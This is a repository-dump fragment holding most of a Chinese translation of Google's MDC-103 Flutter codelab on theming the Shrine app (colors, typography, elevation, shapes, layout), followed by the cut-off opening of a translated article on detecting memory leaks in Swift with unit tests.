上克隆存储库](https://help.github.com/articles/cloning-a-repository/)\n\n> 正确的分支\n>\n> 教程 MDC-101 到 104 连续构建。所以当你完成 103 的代码后，它将变成 104 教程的初始代码！代码被分成不同的分支，你可以使用以下命令将它们全部列出：\n>\n> `git branch --list`\n>\n> 要查看完整代码，请切换到 `104-starter_and_103-complete` 分支。\n\n建立你的项目\n\n以下步骤默认你使用的是 Android Studio (IntelliJ)。\n\n### 创建项目\n\n1. 在终端中，导航到 `material-components-flutter-codelabs`\n\n2. 运行 `flutter create mdc_100_series`\n\n![](https://lh5.googleusercontent.com/J9CQ2xQy4PCirtParnKTrQbjo5tdy0LEh__NVXEjkSYdwSl96QWiwyX2fAdQcW5jTCUzVSzpAqF9-f5mfvyg9BE299XA5nNawKXkAKAO9KIJWawpJtEucLXwqi9buzCX3D7UJixV)\n\n### 打开项目\n\n1. 打开 Android Studio。\n\n2. 如果你看到欢迎页面，单击**打开已有的 Android Studio 项目**。\n\n![](https://lh5.googleusercontent.com/q3QrMqM5NUKXvHdNL4f-OPx1WQJCiXZuq0XJzExqbMK6NrSEigfggRFuJ9C9zpqOCsl0uWfywG1_6W1B45xrafR2EGTP68B0Yr0QtGAu3NWCdnylzYHWEp-as7AkYj8S5oNwFzr-)\n\n3. 导航到 `material-components-flutter-codelabs/mdc_100_series` 目录并单击打开，这将打开此项目。\n\n**在构建项目一次之前，你可以忽略在分析中见到的任何错误。**\n\n![](https://lh4.googleusercontent.com/eohV4ysnGI7n1WXZEpvDocqGoj2yBijhLPxkGovkL85mil0HSvbQxgJ4VlduNj1ypfOdVd1fyTxR5QnS31iu0HFaqjWcOY2GqWs2hHFNO4-zqQzj-S8rGGH0VqrOEtAFEbzUuCxB)\n\n4. 在左侧的项目面板中，删除测试文件 `../test/widget_test.dart`\n\n![](https://lh4.googleusercontent.com/tbOkXg3PBYapj_J0CpdwQTt-sqnf7s3bqi7E3Dd__z_aC5XANKphvuoMvmiOFfBR6oDeZixE0Ww2jTzskt1sDNgEXjAJjwHr7m242tkZ7VvXGaFMObmSIZ06oC7UQusGgCL7DpHr)\n\n5. 如果出现提示，安装所有平台和插件更新或 FlutterRunConfigurationType，然后重新启动 Android Studio。\n\n![](https://lh5.googleusercontent.com/MVD7YGuMneCprDEam1Vy8NusO9BPmOZTyrH4jvO8RmsfTeu8q-t0AfHU3kzXk1F8EUgHaFbqeORdXc7iOcz5ZLM4qbXsv_tMiVnAi0i68p0t957RThrZ56Udf-F292JgRV3iKs7T)\n\n> **提示**：确保你已安装 [Flutter 和 Dart 插件](https://flutter.io/get-started/editor/#androidstudio)。\n\n### 运行初始程序\n\n以下步骤默认你在 Android 模拟器或设备上进行测试。你也可以在 iOS 模拟器或设备上进行，只要你安装了 Xcode。\n\n1. 选择设备或模拟器\n\n如果 Android 模拟器尚未运行，请选择 **Tools -> Android -> AVD Manager** 来[创建您设备并启动模拟器](https://developer.android.com/studio/run/managing-avds.html)。如果 AVD 已存在，你可以直接在 IntelliJ 的设备选择器中启动模拟器，如下一步所示。\n\n（对于 iOS 模拟器，如果它尚未运行，通过选择 **Flutter Device Selection -> Open iOS Simulator** 来在你的开发设备上启动它。）\n\n![](https://lh5.googleusercontent.com/mmcO6QRlA96Sc1AZhL8NqvaTE9DZL5q3QQJsrx-2U4ptShFUcrmYoEuVLB6uyAxL4F80dFaxiotLmWjtTYUYYJu-Rf9TtoKDcJLlzuyWezQIz0BiIIBsgy7mPNS8bO5VbqcMb1Qt)\n\n2. 启动 Flutter 应用：\n\n*   在你的编辑器窗口顶部寻找 Flutter Device Selection 下拉菜单，然后选择设备（例如，iPhone SE / Android SDK built for <version>）。\n*   点击**运行**图标（![](https://lh6.googleusercontent.com/Zu8-cWRMCfIrBGIjj4kSW-j8KBiIqVe33PX8Mht5lSKq00kRB7Na3X0kC4aaiG-G7hqqqLPpgtbxTz-1DdYbq2RiNvc2ZaJzfiu_vVYAh1oOc4TZu85pa42nFqqxmMQWySzLWeU1)）。\n\n![](https://lh4.googleusercontent.com/NLXK-hHFYnHBPeQ6NYrKGnXpj9X2es9her6Y14CotXlR-OdSQBXHyRFv1nvhC1AFCmWx7jIG2Ulb7-OmLV_Pru_-kd-3gArn8OKEGTIOInDJlqIUJ7dxTQUsvLVa0CJwEO5EGjeu)\n\n> 如果你无法成功运行此应用程序，停下来解决你的开发环境问题。尝试导航到 `material-components-flutter-codelabs`；如果你在终端中下载 .zip 文件，导航到 `material-components-flutter-codelabs-...` 然后运行 `flutter create mdc_100_series`。\n\n成功！上一篇教程中 Shrine 的登陆页面应该在你的模拟器中运行了。你可以看到 Shrine 的 logo 和它下面的名称 \"Shrine\"。\n\n![](https://codelabs.developers.google.com/codelabs/mdc-103-flutter/img/db3def4f18a58eed.png)\n\n> 如果应用没有更新，再次单击 “Play” 按钮，或者点击 “Play” 后的 “Stop”。\n\n点击“Next”来查看上一教程中的主屏幕。\n\n![](https://codelabs.developers.google.com/codelabs/mdc-103-flutter/img/532fe80b3fa3db74.png)\n\n## 4. 调整颜色（Color）\n\n一个代表着 Shrine 品牌的配色方案已经创建好了。设计师希望你在 Shrine 应用中实现这个配色方案。\n\n首先，让我们在项目里导入这些颜色。\n\n### **创建** `colors.dart`\n\n在 `lib` 目录下新建一个名为 `colors.dart` 的 dart 文件。导入 Material 组件并添加 Color 常量：\n\n```\nimport 'package:flutter/material.dart';\n\nconst kShrinePink50 = const Color(0xFFFEEAE6);\nconst kShrinePink100 = const Color(0xFFFEDBD0);\nconst kShrinePink300 = const Color(0xFFFBB8AC);\nconst kShrinePink400 = const Color(0xFFEAA4A4);\n\nconst kShrineBrown900 = const Color(0xFF442B2D);\n\nconst kShrineErrorRed = const Color(0xFFC5032B);\n\nconst kShrineSurfaceWhite = const Color(0xFFFFFBFA);\nconst kShrineBackgroundWhite = Colors.white;\n```\n\n### 自定义调色板（Color palette）\n\n此颜色主题由设计师自选颜色进行创建（如下图所示）。它包含 Shrine 的品牌色并应用于 Material 主题编辑器，由此衍生出的完整的调色板。（这些颜色并非来自 2014 Material color palette。）\n\nMaterial 主题编辑器使用以数字表示的色度（shade）对颜色进行分类，每种颜色都有 50、100、200、... 一直到 900 等几个色度。Shrine 仅仅使用 50、100 和 300 色度的粉色调以及 900 色度的棕色调。\n\n> 译者注：色度：色彩深浅、明暗的程度。\n\n![](https://lh3.googleusercontent.com/P2WMR2CBjl5H2CfhCWnqrpw4UiLMJgnZ3KRh-n4cA2YLbGPBA_WXq463bUigJDjO_ThANoki4cuFeuS12Wamvn08rmgxPhJMerUytDwlXaS7XiFYjKYvIgaeo9iYAINstV3GwhoD)\n\n![](https://lh5.googleusercontent.com/sfrxmMvcYDu-JrEaTdnRjRRJx2wyf6GfoNRolI1Xodrm0mNIsFMRaAFAO8MbxYPu3-Ust19LPPcfKIEvQhXeDOGHqvupsWatCRFF-eH52cv5B6ksqowA1Z0W4JIPS3medD4FnqVC)\n\n每个部件的颜色参数都对应此模板内的颜色。例如，文本框在接收输入时的修饰颜色应该是主题的 Primary color。如果该颜色不合适（易于与背景区分），请改用 PrimaryVariant。\n\n> ### Colors 类\n>\n> `kShrineBackgroundWhite` 的值来自于 **Colors** 类。这个类包含常见的颜色值，例如白色。它还包含 2014 color palette 作为 MaterialColor 类。\n>\n> ### MaterialColor 类\n>\n> 在 'material/colors.dart' 中找到的 **MaterialColor** 类（子类是 **ColorSwatch**）是一组包含 14 或更少种由原色变换成的颜色，比如 14 种不同色度的红色、绿色、浅绿或石灰色。这就类似于你在油漆店里见到的渐变色色卡。  \n>\n> 这些颜色是在 2014 Material 指南中提出的，并且在当前指南（[颜色系统（Color System）](https://material.io/design/color/the-color-system.html)）以及 MDC-Flutter 中仍然可用。要在代码里访问它们，只需调用基础色后接色度（通常为 100 的倍数）即可。例如，Pink 400 可通过 `Colors.pink[400]` 检索到。\n>\n> 你完全可以将这些调色盘运用到你的设计和代码上。如果已经有属于品牌自己的配色，也可以使用[调色板生成工具](https://material.io/tools/color/)或者[Material 主题编辑器](https://material.io/tools/theme-editor/)来生成自己的配色。\n\n现在我们有想用的颜色了。我们可以将它应用到 UI 上。我们将通过设置应用于 MaterialApp 实例顶部层次结构的 **ThemeData** 部件来实现。\n\n### 定制 ThemeData.light()\n\nFlutter 包含一些内置主题。light 主题就是其中之一。与其从零开始制作一个 ThemeData 部件，我们不如拷贝 light 主题然后修改其中的一部分属性来为我们的应用进行定制。\n\n### 拷贝 ThemeData 实例\n\n我们在默认的 light ThemeData 中调用 `copyWith()`，然后传入一些自定义属性值（`copyWith()` 在 Flutter 中是一个常用方法，你会在很多类和部件中看到它）。这个命令返回与调用它的实例匹配的部件实例，但是替换了一些指定的值。\n\n为什么不实例化一个 ThemeData 然后设它的属性呢？当然可以！如果我们继续构建我们的程序,这将很有意义。由于 ThemeData 拥有**大量**的属性，为了节省时间，我们的教程将从修改一个有吸引力的主题的可见值入手。当我们稍后尝试使用替代主题时，我们将从 MDC-Flutter 附带的 ThemeData 开始。\n\n在 [Flutter 文档](https://docs.flutter.io/flutter/material/ThemeData-class.html)中了解更多有关 ThemeData 的信息。\n\n让我们在 `app.dart` 中导入 `colors.dart`。\n\n```\nimport 'colors.dart';\n```\n\n然后将以下内容添加到 app.dart 的 ShrineApp 类**之外**的地方：\n\n```\n// TODO：构建 Shrine 主题（103）\nfinal ThemeData _kShrineTheme = _buildShrineTheme();\n\nThemeData _buildShrineTheme() {\n  final ThemeData base = ThemeData.light();\n  return base.copyWith(\n    accentColor: kShrineBrown900,\n    primaryColor: kShrinePink100,\n    buttonColor: kShrinePink100,\n    scaffoldBackgroundColor: kShrineBackgroundWhite,\n    cardColor: kShrineBackgroundWhite,\n    textSelectionColor: kShrinePink100,\n    errorColor: kShrineErrorRed,\n    // TODO：添加文本主题（103）\n    // TODO：添加图标主题（103）\n    // TODO：修饰输入内容（103）\n  );\n}\n```\n\n现在在应用的 `build()` 函数最后(在 MaterialApp 部件中)将 `theme:` 设成我们的新主题：\n\n```\n// TODO：添加主题（103）\nreturn MaterialApp(\n  title: 'Shrine',\n  // TODO：将 home: 改为 HomePage frontLayer（104）\n  home: HomePage(),\n  // TODO：让 currentCategory 字段持有 _currentCategory（104）\n  // TODO：向 frontLayer 传递 _currentCategory（104）\n  // TODO：将 backLayer 字段值改为 CategoryMenuPage（104）\n  initialRoute: '/login',\n  onGenerateRoute: _getRoute,\n  theme: _kShrineTheme, // 新加代码\n);\n```\n\n点击运行按钮，你的登陆页面看起来应该是这个样子的：\n\n![](https://codelabs.developers.google.com/codelabs/mdc-103-flutter/img/6c1a1df9a99150a6.png)\n\n你的主屏幕看起来应该像这样：\n\n![](https://codelabs.developers.google.com/codelabs/mdc-103-flutter/img/img/31adaca378656d60.png)\n\n> 有关颜色（Color）和主题(Theme)的注意事项：\n>\n> *  你可以自定义 UI 中的颜色以便诠释你的品牌特色。\n> *  从两种颜色（主要和次要颜色）开始制作调色板，使用不同色度的颜色。或者使用 Material Design 调色盘工具生成。\n> *  不要忘记排版的颜色！\n> *  确保文本与背景的颜色对比度适中（主文本为 3:1，副文本为 4:1）\n\n## 5. 修改排版和标签样式\n\n除了更改颜色，设计师还为我们提供了特定的排版。Flutter 的 ThemeData 包含 3 种文本主题。每个文本主题都是一个文本样式的集合，如 “headline” 和 “title”。我们将为我们的应用使用几种样式并更改一些值。\n\n### 定制文本主题\n\n为了将字体导入项目，我们必须将它们添加到 pubspec.yaml 文件中。\n\n在 pubspec.yaml 中，在 `flutter:` 标签下添加以下内容：\n\n```\n  # TODO：引入字体（103）\n  fonts:\n    - family: Rubik\n      fonts:\n        - asset: fonts/Rubik-Regular.ttf\n        - asset: fonts/Rubik-Medium.ttf\n          weight: 500\n```\n\n现在你可以访问并使用 Rubik 字体了。\n\n### pubspec 文件故障排除\n\n如果你剪切并粘贴上面的声明代码，你可能会在运行 **pub get** 时遇到错误。如果出现错误，请先删除前导空格，然后使用空格缩进替换空格。\n\n```\nfonts:\n```\n\n之前有两个空格，\n\n```\nfamily: Rubik\n```\n\n之前有四个空格，以此类推。\n\n如果你看到 **Mapping values are not allowed here（此处不允许存在映射值）**，检查问题所在行以及上方的其他行的缩进。\n\n`app.dart` 中，在 `_buildShrineTheme()` 之后添加如下内容：\n\n```\n// TODO：构建 Shrine 文本主题（103）\nTextTheme _buildShrineTextTheme(TextTheme base) {\n  return base.copyWith(\n    headline: base.headline.copyWith(\n      fontWeight: FontWeight.w500,\n    ),\n    title: base.title.copyWith(\n        fontSize: 18.0\n    ),\n    caption: base.caption.copyWith(\n      fontWeight: FontWeight.w400,\n      fontSize: 14.0,\n    ),\n  ).apply(\n    fontFamily: 'Rubik',\n    displayColor: kShrineBrown900,\n    bodyColor: kShrineBrown900,\n  );\n}\n```\n\n这需要一个**文本主题**并且更改 headline、titles 和 captions 的样式。\n\n用这种方式应用 `fontFamily` 仅将更改应用于 `copyWith()` 字段中指定的（headline, title, caption）排版比例。\n\n对于某些字体，我们正在为其设置自定义 FontWeight。**FontWeight** 部件在 100s 上具有方便的值。在字体中，w500（权值（weight）500）是中等大小，w400 是常规大小。\n\n### 使用新的文本主题\n\n> ### 文本主题\n>\n>文本主题是确保应用内所有文本一致且可读的有效方法。例如，文本主题样式可以是黑色或白色，具体取决于主题主要颜色的亮度。这可确保文本与背景形成适当的对比，使其始终可读。\n>\n> 在 [Flutter 文档](https://docs.flutter.io/flutter/material/TextTheme-class.html)中了解有关文本主题的更多信息。\n\n在 `_buildShrineTheme` 的 errorColor 后添加以下内容：\n\n```\n// TODO：添加文本主题（103）\n\ntextTheme: _buildShrineTextTheme(base.textTheme),\nprimaryTextTheme: _buildShrineTextTheme(base.primaryTextTheme),\naccentTextTheme: _buildShrineTextTheme(base.accentTextTheme),\n```\n\n在点击停止按钮后再次点击允许按钮。\n\n登陆页面和主屏幕中的文本看起来有些不同 —— 有些使用 Rubik 字体，其他文本则呈现棕色，而不是黑色或白色。\n\n![](https://codelabs.developers.google.com/codelabs/mdc-103-flutter/img/2153d8c98cafac14.png)\n\n> 有关排版的注意事项：\n>\n> *  当选择文本字体时注意，为小号和主体文本选择清晰的字体，而不是注重某种样式。\n> *  用作标题的、大号文本的字体应该用来表达或强调品牌。\n\n注意到没有，我们的图标仍然时白色的，这是因为它们有一个另外的主题。\n\n### 使用自定义的主要图标主题\n\n将其添加到 `_buildShrineTheme()` 函数：\n\n```\n// TODO: 添加图标主题（103）\nprimaryIconTheme: base.iconTheme.copyWith(\n    color: kShrineBrown900\n),\n```\n\n单击运行按钮。\n\n![](https://codelabs.developers.google.com/codelabs/mdc-103-flutter/img/9489cc4b3274b10a.png)\n\n应用栏的图标变成棕色的了！\n\n### 收缩文本\n\n我们的标签有点太大了。\n\n在 `home.dart` 中，改变 `children:` 字段最内部的列：\n\n```\n// TODO：改变最内部的列（103）\nchildren: <Widget>[\n// TODO：处理溢出标签（103）\n\n  Text(\n    product == null ? '' : product.name,\n    style: theme.textTheme.button,\n    softWrap: false,\n    overflow: TextOverflow.ellipsis,\n    maxLines: 1,\n  ),\n  SizedBox(height: 4.0),\n  Text(\n    product == null ? '' : formatter.format(product.price),\n    style: theme.textTheme.caption,\n  ),\n  // 新增代码结尾\n],\n```\n\n### 居中放置文本\n\n我们想要将标签居中，并将文本与每张卡片的底部，而不是图片的底部对齐。\n\n将标签移动到主轴的结尾（底部）并将它们改为居中：\n\n```\n// TODO：将标签对齐底部和中心（103）\n\n  mainAxisAlignment: MainAxisAlignment.end,\n  crossAxisAlignment: CrossAxisAlignment.center,\n```\n\n保存项目。\n\n![](https://codelabs.developers.google.com/codelabs/mdc-103-flutter/img/8c639fa1b15fd7a5.png)\n\n已经很接近了，但是文本还不是在卡片的居中位置。\n\n更改父列的横轴对齐：\n\n```\n// TODO：卡片内容居中（103）\n\n    crossAxisAlignment: CrossAxisAlignment.center,\n```\n\n保存项目。你的应用应该看起来像这样：\n\n![](https://codelabs.developers.google.com/codelabs/mdc-103-flutter/img/136b6248cce28ba6.png)\n\n这样看起来好多了。\n\n### 主题化文本框\n\n你也可以使用 **InputDecorationTheme** 来主题化文本框的修饰。\n\n 在 `app.dart` 中的 `_buildShrineTheme()` 方法里，指定 `inputDecorationTheme:` 的值：\n\n```\n// TODO：修饰输入内容（103）\n\ninputDecorationTheme: InputDecorationTheme(\n  border: OutlineInputBorder(),\n),\n```\n\n现在，文本框有一个 `filled` 修饰。让我们移除它。\n\n在 `login.dart` 内，移除 `filled: true` 值：\n\n```\n// 移除 filled: true 值（103）\nTextField(\n  controller: _usernameController,\n  decoration: InputDecoration(\n    // 移除 filled: true\n    labelText: 'Username',\n  ),\n),\nSizedBox(height: 12.0),\nTextField(\n  controller: _passwordController,\n  decoration: InputDecoration(\n    // 移除 filled: true\n    labelText: 'Password',\n  ),\n  obscureText: true,\n),\n```\n\n单击停止按钮，然后单击运行（为了从头开始启动应用程序）。你的登陆页面在用户名文本框处于活动状态时（当你输入时）应该是这样的：\n\n![](https://codelabs.developers.google.com/codelabs/mdc-103-flutter/img/ea7b1fcf376cbc1.png)\n\n在正确的强调色文本框修饰和浮动占位符渲染中输入。但是我们不能轻易地看到它。给那些无法区分足够高色彩对比度像素的人带设置了障碍。（更多详细信息，参看 Material 指南中有关“无障碍颜色”的[色彩文章](https://material.io/design/color/)。）让我们创建一个特殊类来覆盖部件的强调颜色，将其变成设计师在上面的颜色主题中为我们提供的 PrimaryVariant。\n\n在 `login.dart` 中任何其他类的范围之外添加以下内容：\n\n```\n// TODO：添加强调色覆盖（103）\nclass AccentColorOverride extends StatelessWidget {\n  const AccentColorOverride({Key key, this.color, this.child})\n      : super(key: key);\n\n  final Color color;\n  final Widget child;\n\n  @override\n  Widget build(BuildContext context) {\n    return Theme(\n      child: child,\n      data: Theme.of(context).copyWith(accentColor: color),\n    );\n  }\n}\n```\n\n下一步，将 `AccentColorOverride` 应用到文本框。\n\n在 `login.dart` 中，导入 colors：\n\n```\nimport 'colors.dart';\n```\n\n使用新的部件包装 Username 文本框：\n\n```\n// TODO：使用 AccentColorOverride 包装 Username（103）\n// [Name]\nAccentColorOverride(\n  color: kShrineBrown900,\n  child: TextField(\n    controller: _usernameController,\n    decoration: InputDecoration(\n      labelText: 'Username',\n    ),\n  ),\n),\n```\n\n同样使用新的部件包装 Password 文本框：\n\n```\n// TODO：使用 AccentColorOverride 包装 Password（103）\n// [Password]\nAccentColorOverride(\n  color: kShrineBrown900,\n  child: TextField(\n    controller: _passwordController,\n    decoration: InputDecoration(\n      labelText: 'Password',\n    ),\n  ),\n),\n```\n\n单击运行按钮。\n\n![](https://codelabs.developers.google.com/codelabs/mdc-103-flutter/img/added42041a83345.png)\n\n## 6. 调整高度\n\n现在你已经为页面设置了与 Shrine 相匹配的特定颜色和排版，让我们看看展示 Shrine 产品的卡片。这些卡片位于导航旁边的白色平面上。\n\n### 调整卡片高度\n\n在 `home.dart` 中为卡片添加 `elevation:` 值：\n\n```\n// TODO：调整卡片高度（103）\n\n    elevation: 0.0,\n```\n\n保存你的项目。\n\n![](https://codelabs.developers.google.com/codelabs/mdc-103-flutter/img/52920c70743adf6e.png)\n\n现在你已经移除了卡片下的阴影。\n\n让我们更改登陆页面组件的高度来补全它。\n\n### 调整 NEXT 按钮的高度\n\nRaisedButton 的默认高度是 2。让我们把它调高一点。\n\n在 `login.dart` 中为 **NEXT** RaisedButton 添加 `elevation:` 值：\n\n```\nRaisedButton(\n  child: Text('NEXT'),\n  elevation: 8.0, // 新增代码\n```\n\n单击停止按钮，然后单击运行。你的登陆页面看起来应该是这样的：\n\n![](https://codelabs.developers.google.com/codelabs/mdc-103-flutter/img/9346cdffc30760da.png)  \n\n> 关于高度(Elevation)的说明：\n>\n> *  所有 Material Design 的平面（surface）和组件都拥有高度值。\n> *  一个平面末尾与另一个平面开始的分隔由平面的边缘区分。\n> *  表面之间的高差可以使用暗淡的或明亮的背景或阴影来表示。\n> *  其它平面前的平面通常包含更重要的内容。\n\n## 7. 添加形状\n\nShrine 定义了八角形或矩形的元素，它具有酷炫的几何风格。让我们在主屏幕上的卡片以及登录屏幕上的文本字段和按钮中实现形状样式。\n\n### 在登录屏幕上更改文本字段的形状\n\n在 `app.dart` 中，导入 special cut corners border 文件：\n\n```\nimport 'supplemental/cut_corners_border.dart';\n```\n\n还是在 `app.dart` 中，在文本字段的修饰主题上添加一个带有切角的形状：\n\n```\n// TODO：修饰输入内容（103）\ninputDecorationTheme: InputDecorationTheme(\n  border: CutCornersBorder(), // 替换代码\n),\n```\n\n### 在登录屏幕上更改按钮形状\n\n在 `login.dart` 中，向 **CANCEL** 按钮添加一个斜面矩形边框：\n\n```\nFlatButton(\n  child: Text('CANCEL'),\n\n  shape: BeveledRectangleBorder(\n    borderRadius: BorderRadius.all(Radius.circular(7.0)),\n  ),\n```\n\nFlatButton 没有可见的形状，为什么我们要添加边框形状？这样触摸时，波纹动画将绑定到相同的形状。\n\n现在给 NEXT 按钮添加同样的形状：\n\n```\nRaisedButton(\n  child: Text('NEXT'),\n  elevation: 8.0,\n  shape: BeveledRectangleBorder(\n    borderRadius: BorderRadius.all(Radius.circular(7.0)),\n  ),\n```\n\n> 关于形状的说明：\n>\n> *  使用形状可以促进品牌的视觉表达。\n> *  形状具有可调曲线和无角度拐角，曲线和边角以及拐角总数。\n> *  组件的形状不应该干扰其可用性！\n\n单击停止按钮，然后单击运行：\n\n![](https://codelabs.developers.google.com/codelabs/mdc-103-flutter/img/a05e9659fd90b969.png)\n\n## 8. 修改布局\n\n接下来，让我们更改布局以显示不同宽高比和大小的卡片，以便使每张卡片看起来都是不同的。\n\n### 用 AsymmetricView 替换 GridView\n\n我们已经为不对称的布局编写了文件。\n\n在 `home.dart` 中，修改以下所有文件：\n\n```\nimport 'package:flutter/material.dart';\n\nimport 'model/products_repository.dart';\nimport 'model/product.dart';\nimport 'supplemental/asymmetric_view.dart';\n\nclass HomePage extends StatelessWidget {\n  // TODO：为 Category 添加变量（104）\n\n  @override\n  Widget build(BuildContext context) {\n  // TODO：返回一个 AsymmetricView（104）\n  // TODO：传递 Category 变量给 AsymmetricView（104）\n    return Scaffold(\n      appBar: AppBar(\n        brightness: Brightness.light,\n        leading: IconButton(\n          icon: Icon(Icons.menu),\n          onPressed: () {\n            print('Menu button');\n          },\n        ),\n        title: Text('SHRINE'),\n        actions: <Widget>[\n          IconButton(\n            icon: Icon(Icons.search),\n            onPressed: () {\n              print('Search button');\n            },\n          ),\n          IconButton(\n            icon: Icon(Icons.tune),\n            onPressed: () {\n              print('Filter button');\n            },\n          ),\n        ],\n      ),\n      body: AsymmetricView(products: ProductsRepository.loadProducts(Category.all)),\n    );\n  }\n}\n```\n\n保存项目。\n\n![](https://codelabs.developers.google.com/codelabs/mdc-103-flutter/img/ed68ec421f46e598.png)\n\n现在产品以编织图案风格水平滚动。此外状态栏文本（顶部的时间和网络）现在为黑色。那是因为我们将 AppBar 的 brightness 改为了 light，`brightness: Brightness.light`\n\n## 9. 尝试另一个主题\n\n颜色是诠释品牌的有效方式，颜色的微小变化会对您的用户体验产生很大影响。为了测试这一点，让我们看看如果品牌的配色方案完全不同时 Shrine 会是什么样子。\n\n### 修改颜色\n\n在 `colors.dart` 中，添加以下内容：\n\n```\nconst kShrineAltDarkGrey = const Color(0xFF414149);\nconst kShrineAltYellow = const Color(0xFFFFCF44);\n```\n\n在 `app.dart` 中，按照以下内容修改 `_buildShrineTheme()` 和 `_buildShrineTextTheme` 方法：\n\n```\nThemeData _buildShrineTheme() {\n  final ThemeData base = ThemeData.dark();\n  return base.copyWith(\n    accentColor: kShrineAltDarkGrey,\n    primaryColor: kShrineAltDarkGrey,\n    buttonColor: kShrineAltYellow,\n    scaffoldBackgroundColor: kShrineAltDarkGrey,\n    cardColor: kShrineAltDarkGrey,\n    textSelectionColor: kShrinePink100,\n    errorColor: kShrineErrorRed,\n    textTheme: _buildShrineTextTheme(base.textTheme),\n    primaryTextTheme: _buildShrineTextTheme(base.primaryTextTheme),\n    accentTextTheme: _buildShrineTextTheme(base.accentTextTheme),\n    primaryIconTheme: base.iconTheme.copyWith(\n      color: kShrineAltYellow\n    ),\n    inputDecorationTheme: InputDecorationTheme(\n      border: CutCornersBorder(),\n    ),\n  );\n}\n\nTextTheme _buildShrineTextTheme(TextTheme base) {\n  return base.copyWith(\n    headline: base.headline.copyWith(\n      fontWeight: FontWeight.w500,\n    ),\n    title: base.title.copyWith(\n      fontSize: 18.0\n    ),\n    caption: base.caption.copyWith(\n      fontWeight: FontWeight.w400,\n      fontSize: 14.0,\n    ),\n  ).apply(\n    fontFamily: 'Rubik',\n    displayColor: kShrineSurfaceWhite,\n    bodyColor: kShrineSurfaceWhite,\n  );\n}\n```\n\n在 `login.dart` 中，将钻石标志变成白色：\n\n```\nImage.asset(\n  'assets/diamond.png',\n  color: kShrineBackgroundWhite, // 新增代码\n),\n```\n\n还是在 `login.dart` 中，将两个文本字段的强调色覆盖更改为黄色：\n\n```\nAccentColorOverride(\n  color: kShrineAltYellow, // 修改的代码\n  child: TextField(\n    controller: _usernameController,\n    decoration: InputDecoration(\n      labelText: 'Username',\n    ),\n  ),\n),\nSizedBox(height: 12.0),\nAccentColorOverride(\n  color: kShrineAltYellow, // 修改的代码\n  child: TextField(\n    controller: _passwordController,\n    decoration: const InputDecoration(\n      labelText: 'Password',\n    ),\n  ),\n),\n```\n\n在 `home.dart` 中，修改 brightness 为 dark：\n\n```\nbrightness: Brightness.dark,\n```\n\n保存项目。现在应该出现新的主题了。\n\n![](https://codelabs.developers.google.com/codelabs/mdc-103-flutter/img/8916ab5abc89be45.png)\n\n![](https://codelabs.developers.google.com/codelabs/mdc-103-flutter/img/dc23dbb043a99db.png)\n\n结果非常不同！让我们在转到 104 教程之前还原这个颜色代码。\n\n[下载 MDC-104 初始代码](https://github.com/material-components/material-components-flutter-codelabs/archive/104-starter_and_103-complete.zip)\n\n## 10. 总结\n\n到目前为止，您已经创建了一个按照设计师设计规范设计的应用程序。\n\n> 完整的 MDC-103 应用程序可在 `104-starter_and_102-complete` 分支中找到。\n>\n> 您可以针对该分支中的应用测试您的页面版本。\n\n### 下一步\n\n你现在已经使用过了以下 MDC 组件：主题、排版、高度和形状。你可以在 MDC-Flutter 库中探索更多组件和子系统。\n\n深入 `supplemental` 目录中的文件来了解我们是如何制作水平滚动的，非对称的布局网格的。\n\n如果您的应用程序设计包含 MDC 库中没有的组件元素该怎么办？在 [MDC-104: Material Design 高级组件](https://codelabs.developers.google.com/codelabs/mdc-104-flutter)一文中我们将展示如何使用 MDC 库创建自定义组件以实现特定外观。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/memory-leaks-in-swift.md",
    "content": "> * 原文地址：[Memory Leaks in Swift: Unit Testing and other tools to avoid them.](https://medium.com/flawless-app-stories/memory-leaks-in-swift-bfd5f95f3a74)\n> * 原文作者：[Leandro Pérez](https://medium.com/@leandromperez?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/memory-leaks-in-swift.md](https://github.com/xitu/gold-miner/blob/master/TODO1/memory-leaks-in-swift.md)\n> * 译者：[RickeyBoy](https://github.com/rickeyboy)\n> * 校对者：[swants](https://github.com/swants), [talisk](https://github.com/talisk)\n\n# Swift 中的内存泄漏\n\n## 通过单元测试等方式避免\n\n![](https://cdn-images-1.medium.com/max/2000/1*7ISuh6UwWtqCmfzSUpyUBw.png)\n\n本篇文章中，我们将探讨内存泄漏，以及学习如何使用单元测试检测内存泄漏。现在我们先来快速看一个例子：\n\n```\ndescribe(\"MyViewController\"){\n    describe(\"init\") {\n        it(\"must not leak\"){\n            let vc = LeakTest{\n                return MyViewController()\n            }\n            expect(vc).toNot(leak())\n        }\n    }\n}\n```\n\n这是 [**SpecLeaks**](https://cocoapods.org/pods/SpecLeaks) 中的一个测试。\n\n重点：我将要解释什么是内存泄漏，讨论循环引用以及一些其他你可能早已知道的事情。如果你仅仅想阅读有关对泄漏进行单元测试的部分，直接跳到最后一章即可。\n\n### **内存泄漏**\n\n在实际中，内存泄漏是我们开发者最常面临的问题。随着 app 的成长，我们为 app 开发了一个又一个的功能，却也同时带来了内存泄漏的问题。\n\n内存泄漏就是指内存片段不再会被使用，却被永久持有。它是内存垃圾，不仅占据空间也会导致一些问题。\n\n> 某个时刻被分配过，但又未被释放，并且也不再被你的 app 持有的内存，就是被泄漏的内存。因为它不再被引用，所以现在没有办法释放掉它，它也没有办法被再次使用。\n>\n> 